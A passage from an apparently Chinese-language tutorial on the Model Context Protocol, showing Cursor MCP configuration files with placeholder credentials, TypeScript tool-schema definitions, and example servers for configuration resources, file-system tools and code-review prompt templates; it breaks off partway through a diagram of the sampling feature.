"args": [
"-y",
"@modelcontextprotocol/server-jina"
],
"env": {
"JINA_API_KEY": "your-jina-api-key"
}
},
"postgres": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-postgres"
],
"env": {
"POSTGRES_HOST": "localhost",
"POSTGRES_PORT": "5432",
"POSTGRES_DATABASE": "myapp",
"POSTGRES_USER": "postgres",
"POSTGRES_PASSWORD": "mypassword"
}
},
"slack": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-slack"
],
"env": {
"SLACK_BOT_TOKEN": "xoxb-your-slack-token"
}
},
// ============================================
// 企业级自定义Servers
// ============================================
"company-docs": {
"command": "node",
"args": [
"/path/to/company-mcp-server/dist/index.js"
],
"env": {
"API_BASE_URL": "https://api.company.com",
"API_KEY": "your-company-api-key"
}
}
}
}
```
**项目级MCP配置:**
```json
// .cursor/mcp.json - 项目级MCP配置(推荐)
{
"mcpServers": {
// 项目专用的Servers
"project-files": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "./"],
"env": {}
},
// 仅本项目使用的数据库
"project-db": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-postgres"
],
"env": {
"POSTGRES_HOST": "localhost",
"POSTGRES_PORT": "5432",
"POSTGRES_DATABASE": "project_dev",
"POSTGRES_USER": "dev",
"POSTGRES_PASSWORD": "dev123"
}
},
// 公司内部服务
"internal-api": {
"command": "node",
"args": ["./mcp/internal-api-server/dist/index.js"],
"env": {
"INTERNAL_API_URL": "https://internal.company.com/api/v2",
"INTERNAL_API_KEY": "internal-key-xxx"
}
}
}
}
```
**验证MCP配置:**
```bash
# 在Cursor终端中测试MCP连接
cursor --mcp-list
# 预期输出示例:
# ✓ filesystem: 已连接 (5个工具可用)
# ✓ github: 已连接 (8个工具可用)
# ✓ jina-search: 已连接 (2个工具可用)
# ✓ project-db: 已连接 (12个工具可用)
```
#### 2.5.4 MCP工具定义结构详解
MCP协议使用JSON Schema来定义工具的结构,这种声明式的方式让AI模型能够自动理解和调用工具。
**工具定义完整结构:**
```typescript
/**
* MCP工具定义的完整TypeScript类型
*/
/**
* JSON Schema基础类型
*/
interface JSONSchema {
/** 类型定义 */
type?: 'string' | 'number' | 'boolean' | 'object' | 'array' | 'null';
/** 详细描述 */
description?: string;
/** 格式校验 */
format?: 'date-time' | 'date' | 'time' | 'email' | 'uri' | 'uuid';
/** 默认值 */
default?: unknown;
/** 可能的枚举值 */
enum?: unknown[];
/** 对象属性定义 */
properties?: Record<string, JSONSchema>;
/** 是否必需 */
required?: string[];
/** 数组项类型 */
items?: JSONSchema;
/** 最小值 */
minimum?: number;
/** 最大值 */
maximum?: number;
/** 最小长度 */
minLength?: number;
/** 最大长度 */
maxLength?: number;
/** 正则表达式校验 */
pattern?: string;
/** 数组最小长度 */
minItems?: number;
/** 数组最大长度 */
maxItems?: number;
/** 允许额外属性 */
additionalProperties?: boolean | JSONSchema;
/** 联合类型 */
anyOf?: JSONSchema[];
/** 对象引用 */
$ref?: string;
}
/**
* MCP工具定义
*/
interface Tool {
/** 工具唯一名称(AI调用时使用) */
name: string;
/** 人类可读的描述(帮助AI理解工具用途) */
description: string;
/** 输入参数JSON Schema定义 */
inputSchema: JSONSchema;
/** 工具元数据(可选) */
metadata?: {
/** 所属分类 */
category?: string;
/** 标签 */
tags?: string[];
/** 废弃标记 */
deprecated?: boolean;
/** 替代工具 */
replacement?: string;
/** 示例使用 */
examples?: Array<{
description: string;
input: Record<string, unknown>;
}>;
};
}
/**
* 工具定义示例 - 文件读取工具
*/
const readFileTool: Tool = {
name: 'read_file',
description: '读取指定路径的文件内容。对于大文件,系统会自动截断到合适的大小。',
inputSchema: {
type: 'object',
properties: {
path: {
type: 'string',
description: '要读取的文件绝对路径',
pattern: '^/|^[A-Z]:\\\\',
},
options: {
type: 'object',
properties: {
encoding: {
type: 'string',
description: '文件编码,默认utf-8',
enum: ['utf-8', 'base64', 'hex'],
default: 'utf-8',
},
maxBytes: {
type: 'number',
description: '最大读取字节数,防止内存溢出',
minimum: 1,
maximum: 10485760, // 10MB
default: 1048576, // 1MB
},
position: {
type: 'number',
description: '开始读取的字节偏移量',
minimum: 0,
default: 0,
},
},
required: [],
},
},
required: ['path'],
additionalProperties: false,
},
metadata: {
category: 'filesystem',
tags: ['file', 'read', 'io'],
examples: [
{
description: '读取项目配置文件',
input: { path: '/project/config.json' },
},
{
description: '读取二进制文件(Base64)',
input: { path: '/project/image.png', options: { encoding: 'base64' } },
},
],
},
};
/**
* 工具定义示例 - GitHub搜索代码工具
*/
const searchCodeTool: Tool = {
name: 'search_code',
description: '在GitHub仓库中搜索代码。搜索会覆盖所有公开仓库和已授权的私有仓库。',
inputSchema: {
type: 'object',
properties: {
q: {
type: 'string',
description: '搜索查询语句,支持GitHub高级搜索语法',
examples: [
'MCP protocol language:TypeScript',
'read_file path:src stars:>100',
'function filename:index.ts',
],
},
per_page: {
type: 'number',
description: '每页结果数量',
minimum: 1,
maximum: 100,
default: 30,
},
page: {
type: 'number',
description: '结果页码(从1开始)',
minimum: 1,
default: 1,
},
},
required: ['q'],
},
metadata: {
category: 'github',
tags: ['search', 'code', 'github'],
},
};
/**
* 工具定义示例 - 数据库查询工具
*/
const queryDatabaseTool: Tool = {
name: 'query_database',
description: '执行SQL查询并返回结果。仅支持SELECT语句,拒绝其他SQL操作以确保安全。',
inputSchema: {
type: 'object',
properties: {
query: {
type: 'string',
description: 'SQL查询语句(必须是SELECT语句)',
pattern: '^\\s*SELECT\\s',
},
params: {
type: 'array',
description: '查询参数(用于预处理语句)',
items: {
type: ['string', 'number', 'boolean', 'null'],
},
},
timeout: {
type: 'number',
description: '查询超时时间(毫秒)',
minimum: 1000,
maximum: 60000,
default: 30000,
},
},
required: ['query'],
additionalProperties: false,
},
metadata: {
category: 'database',
tags: ['sql', 'database', 'query'],
},
};
```
**JSON Schema约束验证器:**
```typescript
import { z } from 'zod';
/**
* Zod到JSON Schema转换器
* 用于自动生成MCP兼容的工具定义
*/
function zodToJsonSchema(schema: z.ZodType): JSONSchema {
const typeMap = {
string: 'string',
number: 'number',
boolean: 'boolean',
bigint: 'number',
date: 'string',
buffer: 'string',
undefined: 'null',
null: 'null',
array: 'array',
object: 'object',
} as const;
// 处理基础类型
if (schema instanceof z.ZodString) {
return { type: 'string' };
}
if (schema instanceof z.ZodNumber) {
return { type: 'number' };
}
if (schema instanceof z.ZodBoolean) {
return { type: 'boolean' };
}
if (schema instanceof z.ZodArray) {
return {
type: 'array',
items: zodToJsonSchema(schema.element),
};
}
if (schema instanceof z.ZodObject) {
const properties: Record<string, JSONSchema> = {};
const required: string[] = [];
for (const [key, value] of Object.entries(schema.shape)) {
properties[key] = zodToJsonSchema(value);
if (!value.isOptional()) {
required.push(key);
}
}
return {
type: 'object',
properties,
required: required.length > 0 ? required : undefined,
};
}
// 未知类型返回空对象
return { type: 'object' };
}
/**
* 使用Zod定义工具并自动生成JSON Schema
*/
function defineTool<T extends z.ZodType>(
name: string,
description: string,
schema: T
): { name: string; description: string; inputSchema: JSONSchema } {
return {
name,
description,
inputSchema: zodToJsonSchema(schema),
};
}
// 示例:使用Zod定义工具
const readFileToolDefinition = defineTool(
'read_file',
'读取文件内容',
z.object({
path: z.string().describe('文件路径'),
encoding: z.enum(['utf-8', 'base64']).default('utf-8'),
})
);
// 生成的JSON Schema:
// {
// name: 'read_file',
// description: '读取文件内容',
// inputSchema: {
// type: 'object',
// properties: {
// path: { type: 'string' },
// encoding: { type: 'string', enum: ['utf-8', 'base64'], default: 'utf-8' }
// },
// required: ['path']
// }
// }
```
---
## 三、主要功能详解
MCP协议定义了四大核心功能模块,这四个模块共同构成了AI Agent与外部世界交互的完整能力体系。
### 3.1 功能全景图
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 四大核心功能模块 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 资源管理 │ │ 提示模板 │ │
│ │ Resources │ │ Prompts │ │
│ ├─────────────────┤ ├─────────────────┤ │
│ │ │ │ │ │
│ │ • 静态资源 │ │ • 系统提示 │ │
│ │ • 动态资源 │ │ • 任务模板 │ │
│ │ • 资源订阅 │ │ • 参数化生成 │ │
│ │ • 版本管理 │ │ • 上下文注入 │ │
│ │ │ │ │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ │ ┌────────────────┤ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 工具调用 │ │ 采样 │ │
│ │ Tools │ │ Sampling │ │
│ ├─────────────────┤ ├─────────────────┤ │
│ │ │ │ │ │
│ │ • 声明式定义 │ │ • Server生成 │ │
│ │ • 参数验证 │ │ • LLM调用 │ │
│ │ • 结果格式化 │ │ • 灵活生成 │ │
│ │ • 错误处理 │ │ • 上下文感知 │ │
│ │ │ │ │ │
│ └─────────────────┘ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### 3.2 资源管理(Resources)
资源是MCP中用于提供静态或动态数据的机制,类似于传统API中的GET端点,但具有更强的元数据描述能力和订阅支持。
#### 3.2.1 资源类型
```typescript
/**
* 资源类型分类
*/
enum ResourceType {
/** 静态资源 - 不经常变化的数据 */
STATIC = 'static',
/** 动态资源 - 实时生成的数据 */
DYNAMIC = 'dynamic',
/** 可变资源 - 支持变更通知 */
MUTABLE = 'mutable',
/** 版本化资源 - 带有版本跟踪 */
VERSIONED = 'versioned',
}
/**
* 资源定义
*/
interface Resource {
/** 资源URI,唯一标识 */
uri: string;
/** 资源名称 */
name: string;
/** 资源描述 */
description: string;
/** MIME类型 */
mimeType: string;
/** 资源类型 */
type: ResourceType;
/** 是否支持变更通知 */
subscribable?: boolean;
/** 资源大小(字节) */
size?: number;
/** 创建时间 */
createdAt?: string;
/** 最后修改时间 */
updatedAt?: string;
}
/**
* 资源内容
*/
interface ResourceContent {
/** 资源URI */
uri: string;
/** MIME类型 */
mimeType: string;
/** 文本内容(二选一) */
text?: string;
/** 二进制内容(二选一) */
blob?: string; // Base64编码
/** 内容版本(用于缓存验证) */
etag?: string;
}
```
#### 3.2.2 资源Server实现
```typescript
/**
* 资源管理Server示例 - 配置服务
*/
class ConfigResourceServer extends BaseMCPServer {
private config: Record<string, unknown>;
constructor() {
super({
name: 'config-resource-server',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.config = this.loadDefaultConfig();
// 注册所有资源
this.registerResources();
}
/**
* 加载默认配置
*/
private loadDefaultConfig(): Record<string, unknown> {
return {
app: {
name: 'MyApp',
version: '1.0.0',
environment: process.env.NODE_ENV || 'development',
},
features: {
darkMode: true,
notifications: true,
analytics: false,
},
limits: {
maxFileSize: 10 * 1024 * 1024, // 10MB
maxRequestSize: 5 * 1024 * 1024, // 5MB
rateLimit: 100,
},
};
}
/**
* 注册所有资源
*/
private registerResources() {
// 注册应用配置资源
this.registerResource(
'config://app',
'应用配置',
'获取当前应用程序的完整配置信息',
'application/json',
async () => {
return JSON.stringify(this.config, null, 2);
}
);
// 注册功能开关资源
this.registerResource(
'config://features',
'功能开关',
'获取所有功能开关的当前状态',
'application/json',
async () => {
return JSON.stringify(this.config.features, null, 2);
}
);
// 注册单个功能配置
this.registerResource(
'config://features/{featureName}',
'单个功能配置',
'获取指定功能的详细配置',
'application/json',
async ({ featureName }: { featureName: string }) => {
const feature = this.config.features?.[featureName];
if (feature === undefined) {
throw new Error(`功能 '${featureName}' 不存在`);
}
return JSON.stringify({ name: featureName, ...feature as object }, null, 2);
}
);
// 注册系统状态资源
this.registerResource(
'config://system/status',
'系统状态',
'获取系统当前运行状态',
'application/json',
async () => {
return JSON.stringify({
uptime: process.uptime(),
memory: process.memoryUsage(),
cpu: process.cpuUsage(),
timestamp: new Date().toISOString(),
}, null, 2);
}
);
// 注册资源变更订阅处理器
this.registerResourceSubscription();
}
/**
* 注册资源变更订阅
*/
private registerResourceSubscription() {
// 设置资源更新通知处理器
this.server.setRequestHandler(
{ method: 'resources/subscribe' },
async ({ params }) => {
console.log(`订阅资源: ${params.uri}`);
// 实际实现中,这里会注册一个监听器
// 当资源变更时发送通知
return { acknowledged: true };
}
);
// 取消订阅处理器
this.server.setRequestHandler(
{ method: 'resources/unsubscribe' },
async ({ params }) => {
console.log(`取消订阅: ${params.uri}`);
return { acknowledged: true };
}
);
}
}
```
### 3.3 工具调用(Tools)
工具是MCP最核心的功能,它允许AI模型执行实际操作。工具通过JSON Schema定义输入参数,AI模型可以自动发现和调用。
#### 3.3.1 工具定义规范
```typescript
/**
* 工具定义接口
*/
interface Tool {
/** 工具唯一名称 */
name: string;
/** 工具描述 - AI模型据此决定何时调用 */
description: string;
/** 输入参数JSON Schema */
inputSchema: JSONSchema;
/** 工具元数据(可选) */
metadata?: {
/** 工具版本 */
version?: string;
/** 工具作者 */
author?: string;
/** 标签分类 */
tags?: string[];
/** 示例调用 */
examples?: Array<{
description: string;
arguments: Record<string, unknown>;
}>;
/** 权限要求 */
requiredPermissions?: string[];
/** 资源消耗估算 */
estimatedCost?: {
tokens?: number;
time?: number; // 毫秒
};
};
}
/**
* 工具调用请求
*/
interface ToolCallRequest {
/** 请求ID */
id: string | number;
/** 工具名称 */
name: string;
/** 调用参数 */
arguments: Record<string, unknown>;
/** 调用上下文 */
context?: {
/** 调用来源 */
caller?: string;
/** 会话ID */
sessionId?: string;
/** 追踪ID */
traceId?: string;
};
}
/**
* 工具调用结果
*/
interface ToolResult {
/** 结果内容 */
content: Array<{
/** 内容类型 */
type: 'text' | 'image' | 'resource';
/** 文本内容 */
text?: string;
/** 图片数据 */
image?: {
/** 图片MIME类型 */
mimeType: string;
/** Base64编码的图片数据 */
data: string;
};
/** 资源引用 */
resource?: {
/** 资源URI */
uri: string;
/** MIME类型 */
mimeType: string;
};
}>;
/** 是否为错误 */
isError?: boolean;
/** 错误信息(如果isError为true) */
error?: {
code: string;
message: string;
details?: unknown;
};
/** 附加元数据 */
meta?: {
/** 执行时间(毫秒) */
duration?: number;
/** 工具版本 */
version?: string;
/** 下一个预期输入(用于表单交互) */
nextInput?: Record<string, unknown>;
};
}
```
#### 3.3.2 完整的工具Server实现
```typescript
import { z } from 'zod';
import * as fs from 'fs/promises';
import * as path from 'path';
/**
* 企业级文件系统MCP Server
*
* 完整实现包含:
* - 多种文件操作工具
* - 完整的安全检查
* - 错误处理和日志
* - 进度跟踪
*/
class EnterpriseFileSystemServer extends BaseMCPServer {
/** 工作根目录 */
private rootPath: string;
/** 允许的文件扩展名(空表示全部允许) */
private allowedExtensions: string[];
/** 最大文件大小(字节) */
private maxFileSize: number;
/** 操作超时(毫秒) */
private operationTimeout: number;
constructor(options: {
rootPath?: string;
allowedExtensions?: string[];
maxFileSize?: number;
timeout?: number;
} = {}) {
super({
name: 'enterprise-filesystem',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.rootPath = path.resolve(options.rootPath || process.cwd());
this.allowedExtensions = options.allowedExtensions || [];
this.maxFileSize = options.maxFileSize || 100 * 1024 * 1024; // 默认100MB
this.operationTimeout = options.timeout || 30000; // 默认30秒
this.registerTools();
}
/**
* 注册所有文件操作工具
*/
private registerTools() {
// ============================================
// 工具1:读取文件
// ============================================
this.registerTool(
'read_file',
`读取指定路径的文件内容。适用于:
- 查看源代码文件
- 读取配置文件
- 获取文档内容
- 分析文本数据
注意:
- 文件必须在工作目录内(路径遍历会被阻止)
- 大文件会自动截断到安全限制
- 二进制文件会返回错误提示`,
z.object({
path: z.string().describe('要读取的文件路径(相对于工作目录)'),
encoding: z.enum(['utf-8', 'ascii', 'base64']).default('utf-8')
.describe('文件编码格式'),
lines: z.number().optional().describe('最大读取行数(用于大文件)'),
offset: z.number().optional().describe('跳过的行数'),
}),
async ({ path: filePath, encoding, lines, offset }) => {
// 安全检查
const fullPath = this.resolveSecurePath(filePath);
// 验证文件存在
await this.assertFileExists(fullPath);
// 读取文件
let content: string;
if (encoding === 'base64') {
const buffer = await fs.readFile(fullPath);
content = buffer.toString('base64');
} else {
let fileContent = await fs.readFile(fullPath, encoding);
// 处理行数限制
if (lines !== undefined || offset !== undefined) {
const allLines = fileContent.split('\n');
const startLine = offset || 0;
const endLine = lines !== undefined ? startLine + lines : allLines.length;
fileContent = allLines.slice(startLine, endLine).join('\n');
if (endLine < allLines.length) {
fileContent += `\n\n... (省略了 ${allLines.length - endLine} 行)`;
}
}
content = fileContent;
}
return {
content: [{ type: 'text', text: content }],
};
}
);
// ============================================
// 工具2:写入文件
// ============================================
this.registerTool(
'write_file',
`创建新文件或覆盖已有文件。适用于:
- 保存代码修改
- 创建配置文件
- 生成报告文档
- 写入用户数据
注意:
- 父目录不存在时会自动创建
- 大文件写入需要更长时间
- 覆盖操作不可撤销`,
z.object({
path: z.string().describe('要写入的文件路径'),
content: z.string().describe('文件内容'),
encoding: z.enum(['utf-8', 'ascii', 'base64']).default('utf-8'),
createDirectories: z.boolean().default(true)
.describe('父目录不存在时是否创建'),
}),
async ({ path: filePath, content, encoding, createDirectories }) => {
const fullPath = this.resolveSecurePath(filePath);
// 确保目录存在
if (createDirectories) {
const dir = path.dirname(fullPath);
await fs.mkdir(dir, { recursive: true });
}
// 检查文件大小
if (Buffer.byteLength(content, encoding) > this.maxFileSize) {
return {
content: [{ type: 'text', text: `错误:文件大小超过限制(${this.maxFileSize}字节)` }],
isError: true,
};
}
// 写入文件
await fs.writeFile(fullPath, content, encoding);
return {
content: [{
type: 'text',
text: `文件已成功写入: ${filePath}\n大小: ${Buffer.byteLength(content, encoding)} 字节`,
}],
};
}
);
// ============================================
// 工具3:列出目录
// ============================================
this.registerTool(
'list_directory',
`列出目录中的所有文件和子目录。适用于:
- 浏览项目结构
- 查找特定文件
- 了解目录组织
返回文件类型、大小和修改时间信息。`,
z.object({
path: z.string().describe('目录路径'),
recursive: z.boolean().default(false)
.describe('是否递归列出子目录'),
includeHidden: z.boolean().default(false)
.describe('是否包含隐藏文件(以.开头的文件)'),
pattern: z.string().optional()
.describe('文件过滤模式(glob)'),
}),
async ({ path: dirPath, recursive, includeHidden, pattern }) => {
const fullPath = this.resolveSecurePath(dirPath);
// 验证目录存在
await this.assertDirectoryExists(fullPath);
// 列出目录
const entries = await this.listDirectoryRecursive(
fullPath,
recursive,
includeHidden
);
// 应用过滤模式
let filteredEntries = entries;
if (pattern) {
filteredEntries = this.filterByPattern(entries, pattern);
}
// 格式化输出
const formatted = filteredEntries.map(entry => ({
name: entry.name,
type: entry.isDirectory ? 'directory' : 'file',
size: entry.size,
modified: entry.modified?.toISOString(),
path: entry.relativePath,
}));
return {
content: [{
type: 'text',
text: JSON.stringify(formatted, null, 2),
}],
};
}
);
// ============================================
// 工具4:搜索文件
// ============================================
this.registerTool(
'search_files',
`在目录中搜索匹配的文件。适用于:
- 查找特定类型的文件(如.ts、.js)
- 按文件名模式搜索
- 批量处理匹配的文件`,
z.object({
pattern: z.string().describe('搜索模式(支持glob:*.ts, **/*.js等)'),
directory: z.string().default('.')
.describe('搜索的起始目录'),
caseSensitive: z.boolean().default(false)
.describe('是否区分大小写'),
maxResults: z.number().default(100)
.describe('最大返回结果数'),
}),
async ({ pattern, directory, caseSensitive, maxResults }) => {
const fullPath = this.resolveSecurePath(directory);
const results = await this.globSearch(fullPath, pattern, {
caseSensitive,
maxResults,
});
return {
content: [{
type: 'text',
text: JSON.stringify({
pattern,
directory,
totalMatches: results.length,
files: results,
}, null, 2),
}],
};
}
);
// ============================================
// 工具5:获取文件信息
// ============================================
this.registerTool(
'get_file_info',
`获取文件的详细元数据信息。适用于:
- 检查文件是否存在
- 获取文件大小
- 查看修改时间
- 了解文件类型`,
z.object({
path: z.string().describe('文件路径'),
includeHash: z.boolean().default(false)
.describe('是否计算文件哈希'),
}),
async ({ path: filePath, includeHash }) => {
const fullPath = this.resolveSecurePath(filePath);
await this.assertFileExists(fullPath);
const stats = await fs.stat(fullPath);
const info: Record<string, unknown> = {
path: filePath,
name: path.basename(filePath),
extension: path.extname(filePath),
size: stats.size,
sizeFormatted: this.formatSize(stats.size),
isFile: stats.isFile(),
isDirectory: stats.isDirectory(),
created: stats.birthtime.toISOString(),
modified: stats.mtime.toISOString(),
accessed: stats.atime.toISOString(),
permissions: this.formatPermissions(stats.mode),
};
if (includeHash) {
const content = await fs.readFile(fullPath);
const crypto = await import('crypto');
info.sha256 = crypto.createHash('sha256').update(content).digest('hex');
}
return {
content: [{ type: 'text', text: JSON.stringify(info, null, 2) }],
};
}
);
}
// ============================================
// 安全检查方法
// ============================================
/**
* 安全路径解析
*
* 防止路径遍历攻击:
* - 将相对路径解析为绝对路径
* - 验证结果路径在根目录内
* - 规范化路径(处理..、.等)
*/
private resolveSecurePath(relativePath: string): string {
// 解析为绝对路径
const absolutePath = path.resolve(this.rootPath, relativePath);
// 规范化路径
const normalizedPath = path.normalize(absolutePath);
// 安全检查:确保路径在根目录内
if (!normalizedPath.startsWith(this.rootPath)) {
throw new Error(
`路径遍历攻击检测:路径 "${relativePath}" 超出工作目录范围`
);
}
return normalizedPath;
}
/**
* 验证文件存在
*/
private async assertFileExists(filePath: string): Promise<void> {
try {
const stats = await fs.stat(filePath);
if (!stats.isFile()) {
throw new Error(`"${filePath}" 不是文件`);
}
} catch (error: any) {
if (error.code === 'ENOENT') {
throw new Error(`文件不存在: "${filePath}"`);
}
throw error;
}
}
/**
* 验证目录存在
*/
private async assertDirectoryExists(dirPath: string): Promise<void> {
try {
const stats = await fs.stat(dirPath);
if (!stats.isDirectory()) {
throw new Error(`"${dirPath}" 不是目录`);
}
} catch (error: any) {
if (error.code === 'ENOENT') {
throw new Error(`目录不存在: "${dirPath}"`);
}
throw error;
}
}
/**
* 递归列出目录
*/
private async listDirectoryRecursive(
dirPath: string,
recursive: boolean,
includeHidden: boolean
): Promise<Array<{
name: string;
relativePath: string;
isDirectory: boolean;
size?: number;
modified?: Date;
}>> {
const results: Array<{
name: string;
relativePath: string;
isDirectory: boolean;
size?: number;
modified?: Date;
}> = [];
const entries = await fs.readdir(dirPath, { withFileTypes: true });
for (const entry of entries) {
// 跳过隐藏文件
if (!includeHidden && entry.name.startsWith('.')) {
continue;
}
const fullPath = path.join(dirPath, entry.name);
const relativePath = path.relative(this.rootPath, fullPath);
if (entry.isDirectory() && recursive) {
results.push({
name: entry.name,
relativePath,
isDirectory: true,
});
// 递归处理子目录
const subResults = await this.listDirectoryRecursive(
fullPath,
recursive,
includeHidden
);
results.push(...subResults);
} else {
const stats = await fs.stat(fullPath);
results.push({
name: entry.name,
relativePath,
isDirectory: entry.isDirectory(),
size: stats.size,
modified: stats.mtime,
});
}
}
return results;
}
/**
* 格式化文件大小
*/
private formatSize(bytes: number): string {
const units = ['B', 'KB', 'MB', 'GB', 'TB'];
let unitIndex = 0;
let size = bytes;
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024;
unitIndex++;
}
return `${size.toFixed(2)} ${units[unitIndex]}`;
}
/**
* 格式化权限
*/
private formatPermissions(mode: number): string {
const permissions = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx'];
let result = '';
// Owner
result += permissions[(mode >> 6) & 0x7];
// Group
result += permissions[(mode >> 3) & 0x7];
// Others
result += permissions[mode & 0x7];
return result;
}
/**
* glob模式匹配
*/
private filterByPattern(
entries: Array<{ name: string }>,
pattern: string
): Array<{ name: string }> {
// 简单的glob实现
const regexPattern = pattern
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
.replace(/\?/g, '.');
const regex = new RegExp(`^${regexPattern}$`);
return entries.filter(entry => regex.test(entry.name));
}
/**
* glob搜索
*/
private async globSearch(
rootPath: string,
pattern: string,
options: { caseSensitive: boolean; maxResults: number }
): Promise<string[]> {
const results: string[] = [];
const regexPattern = pattern
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
.replace(/\?/g, '.');
const regex = new RegExp(`^${regexPattern}$`);
await this.globSearchRecursive(rootPath, rootPath, regex, results, options);
return results.slice(0, options.maxResults);
}
private async globSearchRecursive(
dirPath: string,
rootPath: string,
regex: RegExp,
results: string[],
options: { caseSensitive: boolean; maxResults: number }
): Promise<void> {
if (results.length >= options.maxResults) {
return;
}
const entries = await fs.readdir(dirPath, { withFileTypes: true });
for (const entry of entries) {
if (results.length >= options.maxResults) {
break;
}
const fullPath = path.join(dirPath, entry.name);
if (entry.isDirectory()) {
await this.globSearchRecursive(
fullPath,
rootPath,
regex,
results,
options
);
} else if (regex.test(entry.name)) {
results.push(path.relative(rootPath, fullPath));
}
}
}
}
// 启动服务器
const server = new EnterpriseFileSystemServer({
rootPath: process.cwd(),
maxFileSize: 50 * 1024 * 1024, // 50MB限制
});
server.start().catch(console.error);
```
### 3.4 提示模板(Prompts)
提示模板允许Server预定义可复用的提示词,支持参数化生成,帮助AI模型保持一致的交互模式。
#### 3.4.1 提示模板定义
```typescript
/**
* 提示模板定义
*/
interface Prompt {
/** 模板唯一名称 */
name: string;
/** 模板描述 */
description: string;
/** 参数定义 */
arguments: Array<{
/** 参数名称 */
name: string;
/** 参数描述 */
description: string;
/** 是否必需 */
required: boolean;
/** 参数类型 */
type: 'string' | 'number' | 'boolean' | 'object';
/** 默认值 */
default?: unknown;
}>;
}
/**
* 提示消息
*/
interface PromptMessage {
/** 角色 */
role: 'user' | 'assistant';
/** 内容 */
content: Array<{
/** 内容类型 */
type: 'text' | 'image' | 'resource';
/** 文本内容 */
text?: string;
/** 图片数据 */
image?: {
mimeType: string;
data: string;
};
/** 资源引用 */
resource?: {
uri: string;
};
}>;
}
```
#### 3.4.2 提示模板Server实现
```typescript
/**
* 代码审查提示模板Server
*/
class CodeReviewPromptServer extends BaseMCPServer {
constructor() {
super({
name: 'code-review-prompts',
version: '1.0.0',
transport: 'stdio',
});
this.registerPrompts();
}
/**
* 注册代码审查相关的提示模板
*/
private registerPrompts() {
// 模板1:代码审查
this.registerPrompt(
'code_review',
'生成代码审查提示词,用于分析代码质量、安全性和性能',
[
{
name: 'language',
description: '编程语言',
required: true,
},
{
name: 'focus',
description: '审查重点(security/performance/readability/best_practices)',
required: false,
},
{
name: 'context',
description: '代码上下文说明',
required: false,
},
],
async ({ language, focus, context }) => {
const focusInstructions = {
security: '重点关注安全漏洞:SQL注入、XSS、CSRF、密码存储、权限控制等。',
performance: '重点关注性能问题:算法复杂度、数据库查询、缓存使用、内存泄漏等。',
readability: '重点关注代码可读性:命名规范、注释完整性、函数长度、复杂度等。',
best_practices: '重点关注最佳实践:设计模式、 SOLID原则、测试覆盖、错误处理等。',
};
const focusInstruction = focus
? focusInstructions[focus as keyof typeof focusInstructions]
: '全面审查代码质量、安全性、性能和可维护性。';
const contextInstruction = context
? `\n额外上下文:${context}`
: '';
return [
{
role: 'user',
content: [
{
type: 'text',
text: `请审查以下${language}代码:
${focusInstruction}
${contextInstruction}
请提供:
1. 总体评价
2. 发现的问题(按严重程度分类)
3. 改进建议
4. 代码评分(1-10)
待审查代码:
{{code}}`,
},
],
},
];
}
);
// 模板2:代码解释
this.registerPrompt(
'explain_code',
'生成代码解释提示词,用于详细解释复杂代码逻辑',
[
{
name: 'detail_level',
description: '解释详细程度(brief/standard/detailed)',
required: false,
},
],
async ({ detail_level = 'standard' }) => {
const detailInstructions = {
brief: '提供简洁的核心逻辑说明,控制在100字以内。',
standard: '提供中等详细度的解释,包括主要逻辑和关键概念。',
detailed: '提供极其详细的解释,逐行分析,包括边界情况和潜在问题。',
};
return [
{
role: 'user',
content: [
{
type: 'text',
text: `请解释以下代码的功能和工作原理:
详细程度:${detailInstructions[detail_level as keyof typeof detailInstructions] || detailInstructions.standard}
请包括:
1. 功能概述
2. 核心逻辑
3. 关键变量和函数的作用
4. 输入输出
5. 可能的边界情况
待解释代码:
{{code}}`,
},
],
},
];
}
);
// 模板3:提交信息生成
this.registerPrompt(
'generate_commit_message',
'根据代码变更生成规范的Git提交信息',
[
{
name: 'type',
description: '提交类型(feat/fix/docs/style/refactor/test/chore)',
required: false,
},
{
name: 'include_scope',
description: '是否包含影响范围',
required: false,
},
],
async ({ type, include_scope = true }) => {
const typeDescriptions: Record<string, string> = {
feat: '新功能',
fix: '错误修复',
docs: '文档更新',
style: '代码格式调整(不影响功能)',
refactor: '代码重构',
test: '添加或修改测试',
chore: '构建或辅助工具变更',
};
const typeList = Object.entries(typeDescriptions)
.map(([t, desc]) => `- ${t}: ${desc}`)
.join('\n');
const scopeInstruction = include_scope
? '- 影响范围(模块或组件名)'
: '';
return [
{
role: 'user',
content: [
{
type: 'text',
text: `请根据以下代码变更生成规范的Git提交信息。
提交类型:
${typeList}
${scopeInstruction}
- 简短描述(50字以内)
- 详细描述(可选,说明为什么和怎么做)
生成格式(Conventional Commits):
\`\`\`
<type>${include_scope ? '<(scope)>' : ''}: <short description>
<optional body>
\`\`\`
代码变更:
{{diff}}`,
},
],
},
];
}
);
}
}
```
### 3.5 采样(Sampling)
采样是MCP 2025版本引入的高级功能,允许Server主动请求LLM生成内容,这是实现自主Agent的关键能力。
#### 3.5.1 采样工作原理
```
┌─────────────────────────────────────────────────────────────────────────┐
│ Sampling 工作流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ MCP Server MCP Host │
│ │ │ │
│ │ 1. 发送sampling/createMessage │ │
│ │ ─────────────────────────────────▶ │
│ │ │ │
│ │ ▼ │
│ │ ┌─────────────┐ │
│ │ │ LLM模型 │ │
│ │ │ │ │
│ │ │ Claude/GPT │ │
│ │ │ /Gemini │ │
│ │ └──────┬──────┘ │
│ │ │ │
│ │ 2. 返回LLM响应 │ │
│ │ ◀───────────────────────────────── │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────┐ │
